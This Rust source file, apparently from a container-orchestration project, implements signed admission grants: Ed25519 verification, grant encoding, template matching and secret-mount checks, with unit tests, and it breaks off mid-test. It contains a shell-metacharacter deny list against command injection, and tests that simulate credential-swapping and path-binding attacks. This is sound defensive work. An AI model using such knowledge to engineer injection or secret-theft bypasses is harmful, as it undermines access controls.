use std::collections::BTreeSet;
use std::path::{Path, PathBuf};
use thiserror::Error;
use crate::{EnvValue, SecretMount, SecretRef, SecretTarget, VolumeSource, WorkloadSpec};
pub const GRANT_ANNOTATION: &str = "yah.admission.grant";
pub const GRANT_SIGNATURE_ANNOTATION: &str = "yah.admission.signature";
pub const GRANT_KEY_ANNOTATION: &str = "yah.admission.key";
pub const GRANT_MAGIC: &str = "yah-admission-grant/v2";
pub const FORBIDDEN_HOLE_CHARS: &[char] = &[
'\'', '"', '`', '$', ';', '|', '&', '<', '>', '(', ')', '{', '}', '\\', '\n', '\r', '\0',
];
pub fn hole_is_safe(value: &str) -> bool {
!value.contains("..") && !value.contains(FORBIDDEN_HOLE_CHARS)
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum GrantRuntime {
Container,
Native,
MicroVm,
}
impl GrantRuntime {
fn as_str(self) -> &'static str {
match self {
GrantRuntime::Container => "container",
GrantRuntime::Native => "native",
GrantRuntime::MicroVm => "microvm",
}
}
fn of_spec(spec: &WorkloadSpec) -> Self {
if spec.wants_native_exec() {
GrantRuntime::Native
} else if spec.wants_microvm() {
GrantRuntime::MicroVm
} else {
GrantRuntime::Container
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub enum Policy {
Disabled,
#[default]
Permissive,
Required,
}
impl Policy {
pub fn parse(s: &str) -> Result<Self, String> {
match s.trim() {
"disabled" => Ok(Policy::Disabled),
"permissive" => Ok(Policy::Permissive),
"required" => Ok(Policy::Required),
other => Err(format!(
"unknown admission policy {other:?}; expected \"disabled\", \
\"permissive\" or \"required\""
)),
}
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct AdmissionGrant {
pub recipe: String,
pub image: String,
pub tier: String,
pub runtime: GrantRuntime,
pub host_network: bool,
pub nested_sandbox: bool,
pub workdir: Option<String>,
pub entrypoint: Vec<String>,
pub argv: Vec<String>,
pub env_names: Vec<String>,
pub secrets: Vec<GrantSecret>,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct GrantSecret {
pub source: SecretRef,
pub path: PathBuf,
pub mode: u32,
}
impl GrantSecret {
pub fn of_mount(mount: &SecretMount) -> Option<Self> {
match &mount.target {
SecretTarget::File { path, mode } => Some(Self {
source: mount.source.clone(),
path: path.clone(),
mode: *mode,
}),
SecretTarget::EnvVar { .. } => None,
}
}
pub fn describe(&self) -> String {
let source = match &self.source {
SecretRef::Cluster { name } => format!("cluster:{name}"),
SecretRef::LocalFile { path } => format!("local-file:{}", path.display()),
};
format!("{source} → {} (mode {:o})", self.path.display(), self.mode)
}
fn source_kind(&self) -> &'static str {
match self.source {
SecretRef::Cluster { .. } => "cluster",
SecretRef::LocalFile { .. } => "local-file",
}
}
fn source_value(&self) -> String {
match &self.source {
SecretRef::Cluster { name } => name.clone(),
SecretRef::LocalFile { path } => path.to_string_lossy().into_owned(),
}
}
}
pub fn image_ref_string(image: &crate::ImageRef) -> String {
format!(
"{}/{}:{}@{}",
image.registry, image.repository, image.tag, image.digest
)
}
impl AdmissionGrant {
pub fn from_spec(recipe: &str, spec: &WorkloadSpec) -> Self {
Self {
recipe: recipe.to_string(),
image: image_ref_string(&spec.image),
tier: spec.tier.0.clone(),
runtime: GrantRuntime::of_spec(spec),
host_network: spec.wants_host_network(),
nested_sandbox: spec.wants_nested_sandbox(),
workdir: spec
.workdir
.as_ref()
.map(|p| p.to_string_lossy().into_owned()),
entrypoint: spec.entrypoint.clone().unwrap_or_default(),
argv: spec.command.clone().unwrap_or_default(),
env_names: spec.env.iter().map(|e| e.name.clone()).collect(),
secrets: spec.secrets.iter().filter_map(GrantSecret::of_mount).collect(),
}
}
pub fn encode(&self) -> String {
let mut out = String::with_capacity(512);
out.push_str(GRANT_MAGIC);
out.push('\n');
record(&mut out, "recipe", &self.recipe);
record(&mut out, "image", &self.image);
record(&mut out, "tier", &self.tier);
record(&mut out, "runtime", self.runtime.as_str());
record(&mut out, "host-network", bool_str(self.host_network));
record(&mut out, "nested-sandbox", bool_str(self.nested_sandbox));
list(&mut out, "workdir", self.workdir.as_slice_of_one());
list(&mut out, "entrypoint", &self.entrypoint);
list(&mut out, "argv", &self.argv);
list(&mut out, "env-name", &self.env_names);
record(&mut out, "secret", &self.secrets.len().to_string());
for s in &self.secrets {
record(&mut out, "secret.source-kind", s.source_kind());
record(&mut out, "secret.source", &s.source_value());
record(&mut out, "secret.path", &s.path.to_string_lossy());
record(&mut out, "secret.mode", &format!("{:o}", s.mode));
}
out
}
pub fn parse(text: &str) -> Result<Self, GrantError> {
let mut cur = Cursor::new(text);
cur.magic()?;
let recipe = cur.record("recipe")?;
let image = cur.record("image")?;
let tier = cur.record("tier")?;
let runtime = match cur.record("runtime")?.as_str() {
"container" => GrantRuntime::Container,
"native" => GrantRuntime::Native,
"microvm" => GrantRuntime::MicroVm,
other => {
return Err(GrantError::BadValue {
label: "runtime",
reason: format!(
"expected \"container\", \"native\" or \"microvm\", got {other:?}"
),
})
}
};
let host_network = cur.bool_record("host-network")?;
let nested_sandbox = cur.bool_record("nested-sandbox")?;
let mut workdir = cur.list("workdir")?;
if workdir.len() > 1 {
return Err(GrantError::BadValue {
label: "workdir",
reason: format!("expected 0 or 1 entries, got {}", workdir.len()),
});
}
let entrypoint = cur.list("entrypoint")?;
let argv = cur.list("argv")?;
let env_names = cur.list("env-name")?;
let secrets = cur.secrets()?;
cur.end()?;
Ok(Self {
recipe,
image,
tier,
runtime,
host_network,
nested_sandbox,
workdir: workdir.pop(),
entrypoint,
argv,
env_names,
secrets,
})
}
pub fn covers(&self, spec: &WorkloadSpec) -> Result<(), AdmissionError> {
let actual_image = image_ref_string(&spec.image);
if actual_image != self.image {
return Err(AdmissionError::Mismatch {
field: "image",
detail: format!("grant admits {}, spec names {actual_image}", self.image),
});
}
if spec.tier.0 != self.tier {
return Err(AdmissionError::Mismatch {
field: "tier",
detail: format!("grant admits {:?}, spec declares {:?}", self.tier, spec.tier.0),
});
}
let actual_runtime = GrantRuntime::of_spec(spec);
if actual_runtime != self.runtime {
return Err(AdmissionError::Mismatch {
field: "runtime",
detail: format!(
"grant admits {}, spec is {}",
self.runtime.as_str(),
actual_runtime.as_str()
),
});
}
if spec.wants_host_network() && !self.host_network {
return Err(AdmissionError::Mismatch {
field: "host-network",
detail: "spec requests the host network namespace; the grant does not admit it"
.into(),
});
}
if spec.wants_nested_sandbox() && !self.nested_sandbox {
return Err(AdmissionError::Mismatch {
field: "nested-sandbox",
detail: "spec requests the nested-sandbox capability widening \
(CAP_SETUID + CAP_SETGID, no_new_privs off); the grant does not admit it"
.into(),
});
}
let actual_workdir = spec
.workdir
.as_ref()
.map(|p| p.to_string_lossy().into_owned());
match (&self.workdir, &actual_workdir) {
(None, None) => {}
(Some(template), Some(actual)) if template_matches(template, actual) => {}
_ => {
return Err(AdmissionError::Mismatch {
field: "workdir",
detail: format!(
"grant admits {:?}, spec declares {:?}",
self.workdir, actual_workdir
),
})
}
}
templates_cover(
"entrypoint",
&self.entrypoint,
spec.entrypoint.as_deref().unwrap_or(&[]),
)?;
templates_cover("argv", &self.argv, spec.command.as_deref().unwrap_or(&[]))?;
let admitted: BTreeSet<&str> = self.env_names.iter().map(String::as_str).collect();
for env in &spec.env {
if !admitted.contains(env.name.as_str()) {
return Err(AdmissionError::Mismatch {
field: "env",
detail: format!(
"spec sets {:?}, which the grant does not admit (admitted: {:?})",
env.name, self.env_names
),
});
}
if let EnvValue::FromSecret { secret, .. } = &env.value {
return Err(AdmissionError::Mismatch {
field: "env",
detail: format!(
"spec resolves {:?} from secret {secret:?}; env-target secret \
delivery is not admissible — mount the secret as a file \
(SecretTarget::File) and declare it in the grant",
env.name
),
});
}
}
for mount in &spec.secrets {
let Some(want) = GrantSecret::of_mount(mount) else {
return Err(AdmissionError::Mismatch {
field: "secrets",
detail: "spec mounts a secret as an environment variable; \
env-target secret delivery is not admissible — use \
SecretTarget::File"
.into(),
});
};
if !self.secrets.contains(&want) {
return Err(AdmissionError::Mismatch {
field: "secrets",
detail: format!(
"spec mounts {}, which the grant does not admit (admitted: [{}])",
want.describe(),
self.describe_secrets()
),
});
}
}
let ident = spec.expose.mesh.identity.0.as_str();
for volume in &spec.volumes {
if let VolumeSource::Bind { host_path } = &volume.source {
if crate::forge_state::is_forge_state_path(host_path) {
continue;
}
if self.is_materialized_secret_bind(ident, host_path, volume) {
continue;
}
return Err(AdmissionError::Mismatch {
field: "volumes",
detail: format!(
"spec binds host path {} which is outside the forge state root {} \
and is not a materialized mount of an admitted secret",
host_path.display(),
crate::forge_state::HOST_ROOT
),
});
}
}
Ok(())
}
fn is_materialized_secret_bind(
&self,
ident: &str,
host_path: &Path,
volume: &crate::VolumeMount,
) -> bool {
if !volume.read_only {
return false;
}
self.secrets.iter().any(|s| {
s.path == volume.target
&& crate::secret_mount::materialized_host_path(
Path::new(crate::secret_mount::HOST_ROOT),
ident,
&s.path,
) == host_path
})
}
pub fn describe_secrets(&self) -> String {
self.secrets
.iter()
.map(GrantSecret::describe)
.collect::<Vec<_>>()
.join(", ")
}
}
pub fn attach(spec: &mut WorkloadSpec, grant: &str, signature: &str, public_key: &str) {
spec.annotations
.insert(GRANT_ANNOTATION.into(), grant.to_string());
spec.annotations
.insert(GRANT_SIGNATURE_ANNOTATION.into(), signature.to_string());
spec.annotations
.insert(GRANT_KEY_ANNOTATION.into(), public_key.to_string());
}
pub fn has_grant_annotations(spec: &WorkloadSpec) -> bool {
spec.annotations.contains_key(GRANT_ANNOTATION)
|| spec.annotations.contains_key(GRANT_SIGNATURE_ANNOTATION)
|| spec.annotations.contains_key(GRANT_KEY_ANNOTATION)
}
fn templates_cover(
field: &'static str,
templates: &[String],
actual: &[String],
) -> Result<(), AdmissionError> {
if templates.len() != actual.len() {
return Err(AdmissionError::Mismatch {
field,
detail: format!(
"grant admits {} element(s), spec has {}",
templates.len(),
actual.len()
),
});
}
for (i, (template, got)) in templates.iter().zip(actual).enumerate() {
if !template_matches(template, got) {
return Err(AdmissionError::Mismatch {
field,
detail: format!("element {i}: {got:?} is not an instantiation of {template:?}"),
});
}
}
Ok(())
}
pub fn template_matches(template: &str, actual: &str) -> bool {
let segments = literal_segments(template);
if segments.len() == 1 {
return template == actual;
}
let mut rest = actual;
let Some(first) = segments.first() else {
return false;
};
let Some(after_first) = rest.strip_prefix(first.as_str()) else {
return false;
};
rest = after_first;
for (i, segment) in segments.iter().enumerate().skip(1) {
let last = i == segments.len() - 1;
if last && segment.is_empty() {
return hole_is_safe(rest);
}
let Some(at) = rest.find(segment.as_str()) else {
return false;
};
if !hole_is_safe(&rest[..at]) {
return false;
}
rest = &rest[at + segment.len()..];
}
rest.is_empty()
}
fn literal_segments(template: &str) -> Vec<String> {
let mut segments = Vec::new();
let mut current = String::new();
let mut rest = template;
while let Some(open) = rest.find("{{") {
let Some(close_rel) = rest[open + 2..].find("}}") else {
break;
};
current.push_str(&rest[..open]);
segments.push(std::mem::take(&mut current));
rest = &rest[open + 2 + close_rel + 2..];
}
current.push_str(rest);
segments.push(current);
segments
}
#[cfg(feature = "admission-verify")]
pub fn admit(
spec: &WorkloadSpec,
policy: Policy,
trusted_keys: &[String],
) -> Result<(), AdmissionError> {
admit_grant(spec, policy, trusted_keys).map(|_| ())
}
#[cfg(feature = "admission-verify")]
pub fn admit_grant(
spec: &WorkloadSpec,
policy: Policy,
trusted_keys: &[String],
) -> Result<Option<AdmissionGrant>, AdmissionError> {
use ed25519_dalek::{Signature, VerifyingKey};
if policy == Policy::Disabled {
return Ok(None);
}
let present = has_grant_annotations(spec);
let widening =
spec.wants_nested_sandbox() && !spec.wants_native_exec() && !spec.wants_microvm();
let required = policy == Policy::Required || widening;
if !present {
return if required {
Err(AdmissionError::GrantRequired {
reason: if policy == Policy::Required {
format!("this node runs {POLICY_ENV}=required")
} else {
format!(
"the workload requests the nested-sandbox widening (annotation {}={})",
crate::NESTED_SANDBOX_ANNOTATION,
crate::NESTED_SANDBOX_VALUE
)
},
})
} else {
Ok(None)
};
}
let grant_text = spec
.annotations
.get(GRANT_ANNOTATION)
.ok_or(AdmissionError::Incomplete {
missing: GRANT_ANNOTATION,
})?;
let signature_hex =
spec.annotations
.get(GRANT_SIGNATURE_ANNOTATION)
.ok_or(AdmissionError::Incomplete {
missing: GRANT_SIGNATURE_ANNOTATION,
})?;
let key_hex = spec
.annotations
.get(GRANT_KEY_ANNOTATION)
.ok_or(AdmissionError::Incomplete {
missing: GRANT_KEY_ANNOTATION,
})?;
if !trusted_keys.iter().any(|k| k == key_hex) {
return Err(AdmissionError::UntrustedKey {
key: key_hex.clone(),
});
}
let key_bytes: [u8; 32] = hex::decode(key_hex)
.ok()
.and_then(|b| b.try_into().ok())
.ok_or_else(|| AdmissionError::MalformedKey {
reason: "expected 32 hex-encoded bytes".into(),
})?;
let verifying_key =
VerifyingKey::from_bytes(&key_bytes).map_err(|e| AdmissionError::MalformedKey {
reason: format!("not a valid Ed25519 point: {e}"),
})?;
let sig_bytes: [u8; 64] = hex::decode(signature_hex)
.ok()
.and_then(|b| b.try_into().ok())
.ok_or_else(|| AdmissionError::MalformedSignature {
reason: "expected 64 hex-encoded bytes".into(),
})?;
verifying_key
.verify_strict(grant_text.as_bytes(), &Signature::from_bytes(&sig_bytes))
.map_err(|_| AdmissionError::SignatureMismatch)?;
let grant = AdmissionGrant::parse(grant_text)?;
grant.covers(spec)?;
Ok(Some(grant))
}
pub fn grant_key(spec: &WorkloadSpec) -> Option<&String> {
spec.annotations.get(GRANT_KEY_ANNOTATION)
}
#[cfg(feature = "admission-verify")]
#[derive(Debug, Clone)]
pub struct NodeAdmission {
pub policy: Policy,
pub trusted_keys: Vec<String>,
}
#[cfg(feature = "admission-verify")]
static NODE_ADMISSION: std::sync::OnceLock<NodeAdmission> = std::sync::OnceLock::new();
pub const POLICY_ENV: &str = "YAH_ADMISSION";
pub const KEYS_ENV: &str = "YAH_ADMISSION_KEYS";
#[cfg(feature = "admission-verify")]
impl NodeAdmission {
pub fn from_env() -> Self {
Self::from_vars(
std::env::var(POLICY_ENV).ok().as_deref(),
std::env::var(KEYS_ENV).ok().as_deref(),
)
}
pub fn from_vars(policy: Option<&str>, keys: Option<&str>) -> Self {
let policy = match policy {
None => Policy::default(),
Some(raw) => Policy::parse(raw).unwrap_or_else(|e| {
eprintln!(
"{POLICY_ENV}: {e}. Falling back to \"required\" — a misconfigured \
admission control must refuse, not open."
);
Policy::Required
}),
};
let trusted_keys = keys
.unwrap_or_default()
.split(',')
.map(str::trim)
.filter(|k| !k.is_empty())
.map(str::to_string)
.collect();
Self {
policy,
trusted_keys,
}
}
}
#[cfg(feature = "admission-verify")]
pub fn check(spec: &WorkloadSpec) -> Result<(), AdmissionError> {
check_grant(spec).map(|_| ())
}
#[cfg(feature = "admission-verify")]
pub fn check_grant(spec: &WorkloadSpec) -> Result<Option<AdmissionGrant>, AdmissionError> {
let node = NODE_ADMISSION.get_or_init(NodeAdmission::from_env);
admit_grant(spec, node.policy, &node.trusted_keys)
}
#[cfg(feature = "admission-verify")]
pub fn sign_grant(encoded_grant: &str, key: &ed25519_dalek::SigningKey) -> String {
use ed25519_dalek::Signer;
hex::encode(key.sign(encoded_grant.as_bytes()).to_bytes())
}
#[derive(Debug, Error, PartialEq, Eq)]
pub enum GrantError {
#[error("admission grant does not open with {GRANT_MAGIC:?}")]
BadMagic,
#[error("admission grant: expected record {expected:?}, found {found:?}")]
UnexpectedLabel { expected: &'static str, found: String },
#[error("admission grant: record {label:?} is truncated or mis-lengthed")]
Truncated { label: &'static str },
#[error("admission grant: record {label:?} — {reason}")]
BadValue { label: &'static str, reason: String },
#[error("admission grant: {0} trailing byte(s) after the last record")]
Trailing(usize),
}
#[derive(Debug, Error, PartialEq, Eq)]
pub enum AdmissionError {
#[error(
"workload carries no admission grant and one is required: {reason}. \
Sign the recipe with `cargo xtask recipe-sign` (W235 §(c) / R555-F4)."
)]
GrantRequired { reason: String },
#[error(
"workload carries a partial admission grant — annotation {missing:?} is absent. \
All three of the grant, its signature and its key must travel together."
)]
Incomplete { missing: &'static str },
#[error(
"admission grant is signed by {key}, which this node does not trust. \
Pinned keys come from the {KEYS_ENV} environment variable."
)]
UntrustedKey { key: String },
#[error("admission grant public key is malformed: {reason}")]
MalformedKey { reason: String },
#[error("admission grant signature is malformed: {reason}")]
MalformedSignature { reason: String },
#[error("admission grant signature does not verify over the grant it accompanies")]
SignatureMismatch,
#[error("admission grant does not cover this workload's {field}: {detail}")]
Mismatch { field: &'static str, detail: String },
#[error(transparent)]
Grant(#[from] GrantError),
}
fn bool_str(b: bool) -> &'static str {
if b {
"true"
} else {
"false"
}
}
fn record(out: &mut String, label: &str, value: &str) {
out.push_str(label);
out.push(' ');
out.push_str(&value.len().to_string());
out.push('\n');
out.push_str(value);
out.push('\n');
}
fn list(out: &mut String, label: &str, items: &[String]) {
record(out, label, &items.len().to_string());
let item_label = format!("{label}.item");
for item in items {
record(out, &item_label, item);
}
}
trait AsSliceOfOne {
fn as_slice_of_one(&self) -> &[String];
}
impl AsSliceOfOne for Option<String> {
fn as_slice_of_one(&self) -> &[String] {
match self {
Some(s) => std::slice::from_ref(s),
None => &[],
}
}
}
struct Cursor<'a> {
rest: &'a str,
}
impl<'a> Cursor<'a> {
fn new(text: &'a str) -> Self {
Self { rest: text }
}
fn magic(&mut self) -> Result<(), GrantError> {
let line = format!("{GRANT_MAGIC}\n");
self.rest = self.rest.strip_prefix(&line).ok_or(GrantError::BadMagic)?;
Ok(())
}
fn record(&mut self, label: &'static str) -> Result<String, GrantError> {
let (header, after) = self
.rest
.split_once('\n')
.ok_or(GrantError::Truncated { label })?;
let (found, len) = header
.split_once(' ')
.ok_or(GrantError::Truncated { label })?;
if found != label {
return Err(GrantError::UnexpectedLabel {
expected: label,
found: found.to_string(),
});
}
let len: usize = len.parse().map_err(|_| GrantError::BadValue {
label,
reason: format!("length {len:?} is not a number"),
})?;
if after.len() < len + 1 || !after.is_char_boundary(len) {
return Err(GrantError::Truncated { label });
}
let (value, tail) = after.split_at(len);
self.rest = tail.strip_prefix('\n').ok_or(GrantError::Truncated { label })?;
Ok(value.to_string())
}
fn bool_record(&mut self, label: &'static str) -> Result<bool, GrantError> {
match self.record(label)?.as_str() {
"true" => Ok(true),
"false" => Ok(false),
other => Err(GrantError::BadValue {
label,
reason: format!("expected \"true\" or \"false\", got {other:?}"),
}),
}
}
fn secrets(&mut self) -> Result<Vec<GrantSecret>, GrantError> {
let count: usize = self.record("secret")?.parse().map_err(|_| GrantError::BadValue {
label: "secret",
reason: "count is not a number".into(),
})?;
if count > self.rest.len() {
return Err(GrantError::BadValue {
label: "secret",
reason: format!("count {count} exceeds the remaining document"),
});
}
let mut out = Vec::with_capacity(count);
for _ in 0..count {
let kind = self.record("secret.source-kind")?;
let value = self.record("secret.source")?;
let source = match kind.as_str() {
"cluster" => SecretRef::Cluster { name: value },
"local-file" => SecretRef::LocalFile {
path: PathBuf::from(value),
},
other => {
return Err(GrantError::BadValue {
label: "secret.source-kind",
reason: format!("expected \"cluster\" or \"local-file\", got {other:?}"),
})
}
};
let path = PathBuf::from(self.record("secret.path")?);
if !path.is_absolute() {
return Err(GrantError::BadValue {
label: "secret.path",
reason: format!("mount path {} is not absolute", path.display()),
});
}
let mode_raw = self.record("secret.mode")?;
let mode = u32::from_str_radix(&mode_raw, 8).map_err(|_| GrantError::BadValue {
label: "secret.mode",
reason: format!("{mode_raw:?} is not an octal file mode"),
})?;
out.push(GrantSecret { source, path, mode });
}
Ok(out)
}
fn list(&mut self, label: &'static str) -> Result<Vec<String>, GrantError> {
let count: usize = self.record(label)?.parse().map_err(|_| GrantError::BadValue {
label,
reason: "count is not a number".into(),
})?;
if count > self.rest.len() {
return Err(GrantError::BadValue {
label,
reason: format!("count {count} exceeds the remaining document"),
});
}
let item_label: &'static str = match label {
"workdir" => "workdir.item",
"entrypoint" => "entrypoint.item",
"argv" => "argv.item",
"env-name" => "env-name.item",
other => {
return Err(GrantError::BadValue {
label,
reason: format!("{other:?} is not a list field"),
})
}
};
let mut items = Vec::with_capacity(count);
for _ in 0..count {
items.push(self.record(item_label)?);
}
Ok(items)
}
fn end(&self) -> Result<(), GrantError> {
if self.rest.is_empty() {
Ok(())
} else {
Err(GrantError::Trailing(self.rest.len()))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::{EnvVar, ImageRef, MeshIdent, TierTag, VolumeMount};
use std::path::PathBuf;
const IMAGE: &str = "ghcr.io/yah-ai/rusty-v8-musl-builder";
const DIGEST: &str = "sha256:8f2a6c1d6937e85ad7a1554829fb7901a7d204ed81e9ce7a1b53ef8c1acc1b75";
fn image() -> ImageRef {
ImageRef {
registry: "ghcr.io".into(),
repository: "yah-ai/rusty-v8-musl-builder".into(),
tag: "v149.4.0".into(),
digest: DIGEST.into(),
}
}
pub(super) fn forge_spec(argv: &[&str]) -> WorkloadSpec {
let mut spec = WorkloadSpec::for_forge("abc123", image(), TierTag("infra".into()), vec![]);
spec.command = Some(argv.iter().map(|s| s.to_string()).collect());
spec.volumes.push(crate::forge_produced::durable_mount("abc123"));
spec.annotations.insert(
crate::HOST_NETWORK_ANNOTATION.into(),
crate::HOST_NETWORK_VALUE.into(),
);
spec
}
pub(super) fn template_spec() -> WorkloadSpec {
forge_spec(&["build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'"])
}
pub(super) fn dispatched_spec() -> WorkloadSpec {
forge_spec(&[
"build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
])
}
pub(super) fn grant() -> AdmissionGrant {
AdmissionGrant::from_spec("rusty-v8-musl", &template_spec())
}
const R2_PATH: &str = "/run/yah/r2.json";
fn cluster_mount(name: &str, path: &str, mode: u32) -> SecretMount {
SecretMount {
source: SecretRef::Cluster { name: name.into() },
target: SecretTarget::File {
path: PathBuf::from(path),
mode,
},
}
}
fn spec_and_grant_with_a_secret() -> (WorkloadSpec, AdmissionGrant) {
let mut template = template_spec();
template.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
let grant = AdmissionGrant::from_spec("rusty-v8-musl", &template);
let mut spec = dispatched_spec();
spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
(spec, grant)
}
fn materialize(spec: &mut WorkloadSpec) {
let ident = spec.expose.mesh.identity.0.clone();
let mounts = std::mem::take(&mut spec.secrets);
for m in mounts {
let SecretTarget::File { path, .. } = &m.target else {
spec.secrets.push(m);
continue;
};
spec.volumes.push(VolumeMount {
source: VolumeSource::Bind {
host_path: crate::secret_mount::materialized_host_path(
std::path::Path::new(crate::secret_mount::HOST_ROOT),
&ident,
path,
),
},
target: path.clone(),
read_only: true,
});
}
}
#[test]
fn a_grant_carries_the_secrets_it_was_cut_from() {
let (_, g) = spec_and_grant_with_a_secret();
assert_eq!(
g.secrets,
vec![GrantSecret {
source: SecretRef::Cluster {
name: "r2-write".into()
},
path: PathBuf::from(R2_PATH),
mode: 0o400,
}]
);
assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
}
#[test]
fn several_secrets_round_trip_in_order() {
let mut g = grant();
g.secrets = vec![
GrantSecret {
source: SecretRef::Cluster {
name: "r2-write".into(),
},
path: PathBuf::from("/run/yah/r2.json"),
mode: 0o400,
},
GrantSecret {
source: SecretRef::LocalFile {
path: PathBuf::from("/var/lib/yah/yubaba/secrets/cosign"),
},
path: PathBuf::from("/run/yah/cosign.key"),
mode: 0o400,
},
];
assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
}
#[test]
fn two_different_allow_lists_cannot_encode_the_same() {
let mut a = grant();
a.secrets = vec![GrantSecret {
source: SecretRef::Cluster {
name: "r2 /run/yah/x".into(),
},
path: PathBuf::from("/run/yah/r2.json"),
mode: 0o400,
}];
let mut b = grant();
b.secrets = vec![GrantSecret {
source: SecretRef::Cluster { name: "r2".into() },
path: PathBuf::from("/run/yah/x /run/yah/r2.json"),
mode: 0o400,
}];
assert_ne!(a.encode(), b.encode());
assert_eq!(AdmissionGrant::parse(&a.encode()).unwrap(), a);
assert_eq!(AdmissionGrant::parse(&b.encode()).unwrap(), b);
}
#[test]
fn parse_refuses_a_malformed_secret_entry() {
let g = {
let (_, g) = spec_and_grant_with_a_secret();
g
};
let encoded = g.encode();
let bad_kind = encoded.replacen("cluster\n", "vault\n", 1);
assert!(matches!(
AdmissionGrant::parse(&bad_kind).unwrap_err(),
GrantError::BadValue {
label: "secret.source-kind",
..
} | GrantError::Truncated { .. }
));
let relative = encoded.replacen(
&format!("secret.path {}\n{R2_PATH}", R2_PATH.len()),
"secret.path 8\nr2.json ",
1,
);
assert!(AdmissionGrant::parse(&relative).is_err());
}
#[test]
fn a_declared_secret_is_admitted() {
let (spec, g) = spec_and_grant_with_a_secret();
g.covers(&spec).unwrap();
}
#[test]
fn a_secret_the_grant_does_not_admit_is_refused() {
let mut spec = dispatched_spec();
spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
let err = grant().covers(&spec).unwrap_err();
assert!(
matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
"{err}"
);
}
#[test]
fn swapping_the_credential_under_an_admitted_mount_is_refused() {
let (mut spec, g) = spec_and_grant_with_a_secret();
spec.secrets = vec![cluster_mount("cosign-signing-key", R2_PATH, 0o400)];
let err = g.covers(&spec).unwrap_err();
assert!(
matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
"{err}"
);
assert!(err.to_string().contains("cosign-signing-key"), "{err}");
}
#[test]
fn loosening_the_file_mode_is_refused() {
let (mut spec, g) = spec_and_grant_with_a_secret();
spec.secrets = vec![cluster_mount("r2-write", R2_PATH, 0o444)];
assert!(g.covers(&spec).is_err());
}
#[test]
fn an_env_target_secret_mount_is_refused_rather_than_admitted() {
let env_mount = SecretMount {
source: SecretRef::Cluster {
name: "r2-write".into(),
},
target: SecretTarget::EnvVar {
name: "R2_TOKEN".into(),
},
};
let mut template = template_spec();
template.secrets.push(env_mount.clone());
let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
assert!(g.secrets.is_empty());
let mut spec = dispatched_spec();
spec.secrets.push(env_mount);
let err = g.covers(&spec).unwrap_err();
assert!(
matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
"{err}"
);
}
#[test]
fn an_env_var_resolved_from_a_secret_is_refused_even_when_its_name_is_admitted() {
let mut template = template_spec();
template.env.push(EnvVar {
name: "R2_TOKEN".into(),
value: EnvValue::Literal {
value: "placeholder".into(),
},
});
let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
assert!(g.env_names.contains(&"R2_TOKEN".to_string()));
let mut spec = dispatched_spec();
spec.env = vec![EnvVar {
name: "R2_TOKEN".into(),
value: EnvValue::FromSecret {
secret: "cosign-signing-key".into(),
key: "seed".into(),
},
}];
let err = g.covers(&spec).unwrap_err();
assert!(matches!(&err, AdmissionError::Mismatch { field: "env", .. }), "{err}");
assert!(err.to_string().contains("cosign-signing-key"), "{err}");
}
#[test]
fn the_materialized_bind_yubaba_injects_is_admitted() {
let (mut spec, g) = spec_and_grant_with_a_secret();
materialize(&mut spec);
assert!(spec.secrets.is_empty(), "materialization consumes the mount");
assert_eq!(spec.volumes.len(), 2, "produced dir + the secret bind");
g.covers(&spec).unwrap();
}
#[test]
fn a_materialized_bind_for_another_workloads_ident_is_refused() {
let (mut spec, g) = spec_and_grant_with_a_secret();
materialize(&mut spec);
for v in &mut spec.volumes {
if let VolumeSource::Bind { host_path } = &mut v.source {
if host_path.starts_with(crate::secret_mount::HOST_ROOT) {
*host_path = crate::secret_mount::materialized_host_path(
std::path::Path::new(crate::secret_mount::HOST_ROOT),
"ingress",
std::path::Path::new(R2_PATH),
);
}
}
}
let err = g.covers(&spec).unwrap_err();
assert!(
matches!(&err, AdmissionError::Mismatch { field: "volumes", .. }),
"{err}"
);
}
#[test]
fn a_writable_bind_at_an_admitted_secret_path_is_refused() {
let (mut spec, g) = spec_and_grant_with_a_secret();
materialize(&mut spec);
for v in &mut spec.volumes {
if v.target == PathBuf::from(R2_PATH) {
v.read_only = false;
}
}
assert!(g.covers(&spec).is_err());
}
#[test]
fn a_secret_bind_the_grant_never_admitted_is_refused() {
let mut spec = dispatched_spec();
let ident = spec.expose.mesh.identity.0.clone();
spec.volumes.push(VolumeMount {
source: VolumeSource::Bind {
host_path: crate::secret_mount::materialized_host_path(
std::path::Path::new(crate::secret_mount::HOST_ROOT),
&ident,
std::path::Path::new(R2_PATH),
),
},
target: PathBuf::from(R2_PATH),
read_only: true,
});
assert!(grant().covers(&spec).is_err());
}
#[test]
fn encode_parse_round_trips() {
let g = grant();
assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
}
#[test]
fn encode_survives_a_value_containing_a_newline() {
let mut g = grant();
g.argv = vec!["bash".into(), "-c".into(), "set -e\necho hi\n".into()];
assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
}
#[test]
fn absent_workdir_round_trips_distinctly_from_an_empty_one() {
let mut absent = grant();
absent.workdir = None;
let mut empty = grant();
empty.workdir = Some(String::new());
assert_ne!(absent.encode(), empty.encode());
assert_eq!(AdmissionGrant::parse(&absent.encode()).unwrap(), absent);
assert_eq!(AdmissionGrant::parse(&empty.encode()).unwrap(), empty);
}
#[test]
fn parse_rejects_a_foreign_document() {
assert_eq!(
AdmissionGrant::parse("yah-admission-grant/v3\n").unwrap_err(),
GrantError::BadMagic
);
}
#[test]
fn a_v1_grant_is_refused_rather_than_read_as_granting_no_secrets() {
let v1 = grant().encode().replacen(GRANT_MAGIC, "yah-admission-grant/v1", 1);
